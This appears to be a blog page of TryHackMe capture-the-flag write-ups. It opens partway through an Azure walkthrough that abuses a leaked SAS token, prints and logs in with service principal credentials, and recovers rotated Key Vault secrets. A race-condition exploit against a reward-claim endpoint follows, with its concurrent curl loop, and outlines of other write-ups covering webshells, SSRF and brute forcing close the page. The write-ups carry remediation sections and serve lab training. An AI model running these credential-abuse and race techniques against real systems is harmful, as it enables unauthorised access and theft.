curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

<Blobs>
  <Blob><Name>backup-service-account.json</Name>...</Blob>
  <Blob><Name>seed_phrase.txt</Name>...</Blob>
</Blobs>

Both are worth pulling. seed_phrase.txt is in-universe flavor (a decoy "wallet" secret). backup-service-account.json is the real prize:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

{
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
  "key_vault_name": "ccabana-kv-f5scjagc",
  "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",
  "note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"
}

Full Service Principal credentials, including a pointer straight to a Key Vault. The IT note is almost apologetic about it - "rotate this if it ever leaves the vault" is exactly the mistake that just happened.

Step 4: Authenticate as the Service Principal

az login --service-principal \
  --username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
  --password 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \
  --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c

This swaps us from a Reader-only human account to whatever this backup automation identity is actually scoped to - almost certainly broader access to the Key Vault it points at.

Step 5: Hit a Wall on Key Vault RBAC

The obvious next move is grabbing master-key straight away:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name master-key --query value -o tsv

(Forbidden) Caller is not authorized to perform action on resource.
Action: 'Microsoft.KeyVault/vaults/secrets/getSecret/action'
Inner error: { "code": "ForbiddenByRbac" }

The vault uses RBAC authorization mode, not the older vault access-policy model, and this SP has no role assignment on it - az role assignment list --assignee dbcf2923-... comes back empty. So the SP is real, but it isn't blanket-authorized on the vault. The automation account was probably scoped narrowly to specific secrets, not master-key.

Rather than fight the RBAC wall on master-key, try what the SP can read:

az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table

Name         Expires
-----------  -------------------------
key-shard-1
key-shard-2
key-shard-3
master-key   2020-01-01T00:00:00+00:00

master-key is expired anyway - a dead end even if it were readable. The key-shard-* naming is the real hint: the flag is likely split across three secrets meant to be concatenated.

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1 --query value -o tsv
# [REDACTED - first flag fragment]

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3 --query value -o tsv
# [REDACTED - last flag fragment]

Two of three shards, no RBAC error this time - so the SP does have read access to these specific secrets. key-shard-2 is where it gets interesting:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --query value -o tsv

Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.

Not a shard value at all - a note left by whoever rotated the secret after realizing the SP credentials had leaked. That phrasing ("recoverable if you know where to look") is a direct pointer to secret versioning.

Step 6: Recover the Rotated Secret Version

Key Vault never overwrites a secret in place - every set-secret call creates a new version, and old versions stay readable (as long as they haven't been purged) to anyone with get permission on the secret name. Rotating a secret doesn't erase its history.

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 -o json

[
  {
    "attributes": { "created": "2026-07-28T01:05:05+00:00", ... },
    "id": ".../secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0"
  },
  {
    "attributes": { "created": "2026-07-28T01:05:07+00:00", ... },
    "id": ".../secrets/key-shard-2/c922c422ffb34671a902389c372314f1"
  }
]

Two versions, two seconds apart - the original, then the rotation. The current key-shard-2 (the one returned by default when you don't specify a version) is the one holding the note. The older version, 3d6492d2c6f74123bc754a9ded22b2a0, is the pre-rotation value. Fetch a specific version by passing the full versioned resource ID:

az keyvault secret show \
  --id "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0" \
  --query value -o tsv

[REDACTED - middle flag fragment]

Step 7: Assemble the Flag

key-shard-1: THM{n0t_ur
key-shard-2 (old version): [REDACTED]
key-shard-3: ur_c01ns!}

THM{█████████████████████████}

Flag redacted per platform policy - concatenate the three shards above in order to reproduce it yourself.

Root Cause Summary

Step	Misconfiguration	Impact
SAS in `app.js`	Long-lived, account-wide `read+list` SAS token hardcoded in public JS	Anyone visiting the site can enumerate and read every container/blob
`vault` container	Sensitive files stored in a container reachable by an over-scoped SAS	SP credentials exposed to anyone with the SAS
Key Vault RBAC	SP granted read on specific secrets but not scoped tightly (or old versions left unpurged)	Rotated secret's pre-leak value still fully recoverable
`master-key` expiry	Secret expired instead of being removed/rotated with purge	Dead end here, but a good reminder that "expired" != "inaccessible" for anyone who did have rights

Remediation Notes

Never embed SAS tokens in client-side code. If a SAS-based upload flow is required, generate short-lived, narrowly-scoped tokens server-side per request.
SAS tokens should carry the minimum permission set and a realistic expiry - se=2099-12-31 defeats the purpose of using a SAS at all.
Treat any credential that touched a public endpoint as compromised. Rotating a Key Vault secret is not enough on its own - purge old versions (az keyvault secret purge, or enable purge protection with a deliberate versioning policy) if the goal is to actually invalidate the leaked value.
Apply least-privilege RBAC on Key Vault secrets per identity, and periodically audit az role assignment list for service principals that have outlived their original purpose.

TryHackMe : Towel on the Sunbed Writeup

Yogeshwar Peela — Tue, 04 Aug 2026 14:12:34 +0000

TL;DR

Ponzi Portfolio is a Node.js/Express "staking rewards" web app with a
24-hour cooldown on claiming a reward. The /claim endpoint has a classic
check-then-act race condition: it checks whether the claim window has
elapsed, then updates the balance, without doing either atomically. Firing
many concurrent requests at /claim lets several of them pass the
eligibility check before any of them commit their balance update, so
multiple 50-PONZI rewards land from what should only ever be one claim per
day. Racing past the intended single-claim limit pushes the balance over
the 150-PONZI "Whale" threshold and unlocks a vault endpoint containing the
flag.

Flag: THM{[REDACTED]}

1. Recon

nmap -A -Pn <MACHINE_IP> -o nmap
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework
| http-title: "Ponzi Portfolio - Login"
|_Requested resource was /auth/login

A crypto-themed "staking rewards" app on port 3000, redirecting
unauthenticated requests to /auth/login.

2. Mapping the app

curl http://<MACHINE_IP>:3000/auth/register

A normal username/password registration form, client-side JS posting JSON
to /auth/register and /auth/login. Registered and logged in as a test
account:

curl -s -X POST http://<MACHINE_IP>:3000/auth/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser","password":"testpass123"}'

{"message":"Account created.","redirect":"/dashboard"}

curl -s -c cookies.txt -X POST http://<MACHINE_IP>:3000/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser","password":"testpass123"}'

{"message":"Logged in.","redirect":"/dashboard"}

The dashboard's front-end JS (/js/dashboard.js) lays out the whole app
logic: a balance field, a "Claim Reward" button hitting POST /claim
(50 PONZI, once per 24 hours per the countdown timer), and a "Whale Vault"
unlocked at a 150-PONZI balance via GET /vault.

curl -s -b cookies.txt http://<MACHINE_IP>:3000/dashboard/api/me

{"balance":0,"tier":"Shrimp","canClaim":true,"secondsUntilClaim":0, ...}

3. Confirming the claim/cooldown mechanic

curl -s -b cookies.txt -X POST http://<MACHINE_IP>:3000/claim

{"message":"Staking reward claimed successfully.","reward":50,"newBalance":50,"tier":"Shrimp","priceSnapshot":4.2}

curl -s -b cookies.txt http://<MACHINE_IP>:3000/dashboard/api/me

{"balance":50,"canClaim":false,"secondsUntilClaim":86396, ...}

One claim, then locked out for roughly 24 hours (86396 seconds). At 50
PONZI per claim and a 150-PONZI whale threshold, legitimately reaching the
vault would take three real claim cycles, spread across three days. Worth
testing whether the cooldown is actually enforced atomically or just
checked once per request.

4. Race condition in `/claim`

Fired 30 concurrent /claim requests against the same authenticated
session:

for i in $(seq 1 30); do
  curl -s -b cookies.txt -X POST http://<MACHINE_IP>:3000/claim -o resp_$i.json &
done
wait
grep -l '"reward"' resp_*.json | wc -l

First run against the already-claimed testuser session returned zero
successful claims - expected, since that account had already used its
claim for the day and every request correctly saw canClaim: false.

Registered a fresh account (racer1) specifically to race from a clean,
unclaimed state, then immediately fired 30 concurrent claims before any
single request's balance update could commit:

curl -s -c cookies2.txt -X POST http://<MACHINE_IP>:3000/auth/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"racer1","password":"testpass123"}'

curl -s -c cookies2.txt -X POST http://<MACHINE_IP>:3000/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"racer1","password":"testpass123"}'

for i in $(seq 1 30); do
  curl -s -b cookies2.txt -X POST http://<MACHINE_IP>:3000/claim -o resp_$i.json &
done
wait

grep -o '"reward":[0-9]*' resp_*.json | sort | uniq -c

1 resp_1.json:"reward":50
1 resp_2.json:"reward":50
1 resp_3.json:"reward":50
1 resp_4.json:"reward":50
1 resp_5.json:"reward":50
1 resp_7.json:"reward":50

Six of the thirty concurrent requests succeeded - six separate 50-PONZI
rewards from a mechanic that's supposed to permit exactly one per day.
Classic TOCTOU (time-of-check to time-of-use): each request reads
canClaim from the current balance/timestamp state before any of the
other concurrent requests has written its update back, so several
requests all see "eligible" simultaneously and all get paid out.

curl -s -b cookies2.txt http://<MACHINE_IP>:3000/dashboard/api/me

{"balance":300,"tier":"Whale", ...}

300 PONZI - double the 150-PONZI whale threshold, from a single racing
burst.

5. Unlocking the vault

curl -s -b cookies2.txt http://<MACHINE_IP>:3000/vault

{
  "message": "Welcome to the Whale Vault.",
  "flag": "THM{[REDACTED]}",
  "balance": 300
}

Key vulnerabilities

#	Weakness	Detail
1	Race condition (TOCTOU) on `/claim`	The claim-eligibility check (has 24 hours passed?) and the balance-update write are two separate, non-atomic steps. Concurrent requests all read the pre-update state and all pass the check before any of them commits, allowing multiple rewards to be claimed within a window meant to permit only one.
2	No idempotency or locking on the reward transaction	No per-user mutex, database row lock, or idempotency key protects the claim-then-credit sequence, so the app has no way to serialize concurrent claim attempts from the same session.
3	Client-trusted cooldown display only	The countdown timer and disabled button in the front end are purely cosmetic (`/js/dashboard.js`); server-side enforcement is the only real gate, and it's the part that's racy.

Attack chain

Register + log in (normal account creation, no vuln needed)
        |
        v
GET /dashboard/api/me - learn balance, canClaim, whaleThreshold (150), reward (50/claim)
        |
        v
POST /claim (single request) - confirms one successful claim, then locked for ~24h
        |
        v
Register a second, unclaimed account (clean race target)
        |
        v
Fire 30 concurrent POST /claim requests before any single response commits
        |
        v
Multiple requests all read canClaim=true simultaneously -> 6/30 succeed -> 300 PONZI
        |
        v
GET /vault (balance >= 150) -> flag

Mitigations

Make the claim-and-credit operation atomic. Use a single database transaction with row-level locking (e.g. SELECT ... FOR UPDATE) or an atomic conditional update (e.g. UPDATE users SET balance = balance + 50, last_claim = NOW() WHERE id = ? AND last_claim < NOW() - INTERVAL '24 hours' and check the affected-row count) so the eligibility check and the write happen as one indivisible step.
Serialize claim attempts per user with an application-level lock or mutex keyed to the user ID, so concurrent requests from the same session queue rather than race.
Never rely on client-side timers or disabled buttons to enforce business rules; treat them as UX only and always re-validate fully on the server for every request.
Add basic rate limiting per user/session on sensitive state-changing endpoints like /claim, both to blunt this class of race and to slow down automated abuse generally.
Log and alert on anomalous reward patterns (e.g. multiple successful claims for one user within a short window) as a detective control, in case a race condition like this slips past preventive fixes.

DEV Community: Yogeshwar Peela

TryHackMe : Different CTF writeup

Summary

1. Reconnaissance

1.1 Directory brute force

2. Steganography rabbit hole

3. FTP access and WordPress config leak

4. phpMyAdmin -> subdomain discovery

5. Webshell via FTP upload -> initial foothold

6. Bruteforcing su for hakanbey

6.1 First attempt: precompiled binary, wrong glibc

6.2 Building sucrack from source on the target

6.3 Cracking the password

7. Root: the custom SUID binary

7.1 Pulling the hidden bytes

7.2 Decoding in CyberChef

7.3 Root

Key Vulnerabilities

Attack Chain

Mitigations

TryHackMe : Lookup writeup

Summary

1. Reconnaissance

2. Web Enumeration

2.1 Username enumeration

2.2 Username brute force

2.3 Password brute force

2.4 Authenticated redirect

3. elFinder Discovery

4. Exploitation - elFinder Exiftran Command Injection

5. Post-Exploitation Enumeration

6. SSH Access as think

User flag

7. Privilege Escalation - sudo look

Root flag

8. Key Vulnerabilities

9. Attack Chain

10. Mitigations

TryHackMe : The London Bridge writeup

Summary

Attack Chain

Recon

Vulnerability Discovery: SSRF via /view_image (wrong parameter first)

Bypassing the localhost Filter

Enumerating the Internal Service via SSRF

Extracting the SSH Private Key via SSRF

Post-Exploitation as beth

Confirming the Internal Server Runs as Root

Reading Root-Owned Files Without a Root Shell (Symlink + SSRF)

Pivoting to Charles' Firefox Profile

Fixing Binary Corruption from the SSRF Proxy

Decrypting the Firefox Profile

Key Vulnerabilities

Lessons / Takeaways

TryHackMe : Dreaming Writeup

Summary

Attack Chain

Recon

Vulnerability Attempt: LFI via ?file= parameter (blocked)

Vulnerability: Weak Pluck Admin Credentials (Brute Force)

Vulnerability: CVE-2020-29607 - Pluck CMS Authenticated File Upload RCE

Post-Exploitation - Enumerating Home Directories

Privilege Escalation - lucien to death via subprocess Command Injection

Privilege Escalation - death to root via shutil.py Library Hijack

Key Vulnerabilities

Lessons / Takeaways

TryHackMe : WhyHackMe writeup

Summary

Attack Chain

Recon

Web App Enumeration

Vulnerability: Blind Stored XSS (username field) → SSRF to localhost-restricted resource

Attempt 1 - cookie stealer via document.location

Attempt 2 - externally hosted <script src=...> payloads

Attempt 3 - fetch the actual target file

Initial Access - SSH as jack

Privilege Escalation Path - jack → www-data → root

Step 1: sudo iptables abuse

Step 2: recovering the hidden webshell from a leftover pcap

Step 3: RCE via the recovered webshell

Vulnerability Attempt: LFI via `?file=` parameter (blocked)

Privilege Escalation - lucien to death via `subprocess` Command Injection

Privilege Escalation - death to root via `shutil.py` Library Hijack

Attempt 1 - cookie stealer via `document.location`

Attempt 2 - externally hosted `<script src=...>` payloads

The Bypass - PHP Stream Wrappers Contain No `../`

PR #1 - `rules/rdp_untrusted_source_logon.yml`

PR #2 - `rules/netscan_share_writetest.yml`

PR #3 - `rules/remote_access_service_persistence.yml`

PR #4 - `rules/sevenzip_share_archive_collection.yml`

PR #5 - `rules/lynx_ransomware_deployment.yml`